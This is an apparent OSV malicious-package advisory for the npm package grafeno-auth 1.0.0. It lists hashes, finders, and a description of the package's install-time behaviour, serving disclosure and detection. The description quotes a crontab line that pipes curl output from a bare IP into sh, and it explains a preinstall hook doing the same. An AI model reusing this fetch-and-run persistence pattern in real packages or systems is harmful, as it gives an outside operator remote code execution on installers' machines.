{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "87c4dd457e2fd50eb675dcdee973d77f867b152799c8438d424d9a238d573efc",
              "tlsh": "9af05cf09c20f9b36a4e01702a7942b6f7d3499a0d08ac045b0a0158f1de3e35db989b"
            },
            {
              "path": "index.js",
              "sha256": "2fe4990ebe88dbe4aae748964241f38320310af6206ec9841a5cc1dff360e0a3",
              "tlsh": "1b9002065398b25f4509ba15f945940b298b48910151891822e86964144795ca150c88"
            }
          ],
          "package_integrity": [
            {
              "filename": "grafeno-auth-1.0.0.tgz",
              "hashes": {
                "sha1": "c962ec21270fedc416edbebd8741c402833971f7",
                "sha512_sri": "sha512-qO6UPhHycEsOL4vLO6RboB1FNslZCimBWketM1czog2jcuh6l++T3roHMIHZqXz3I+S+OI4KTWvF1Rnb2M8Fiw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "grafeno-auth"
      },
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://github.com/ossf/package-analysis",
        "https://openssf.slack.com/channels/package_analysis"
      ],
      "name": "OpenSSF: Package Analysis",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-019061",
        "import_time": "2026-08-28T23:14:35.296422356Z",
        "modified_time": "2026-08-28T23:01:43Z",
        "sha256": "c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "import_time": "2026-08-28T23:38:00.716997459Z",
        "modified_time": "2026-08-28T23:17:53Z",
        "sha256": "99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a)\npackage.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry (\u0027*/30 * * * * curl -s 216.126.236.46/x.sh|sh\u0027) that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest\u0027s lifecycle hook is the package\u0027s only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer\u0027s host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.\n\n## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be)\nThe OpenSSF Package Analysis project identified \u0027grafeno-auth\u0027 @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n",
  "id": "MAL-2026-15502",
  "modified": "2026-08-28T23:39:51.245727982Z",
  "published": "2026-08-28T23:01:43Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/grafeno-auth/v/1.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in grafeno-auth (npm)"
}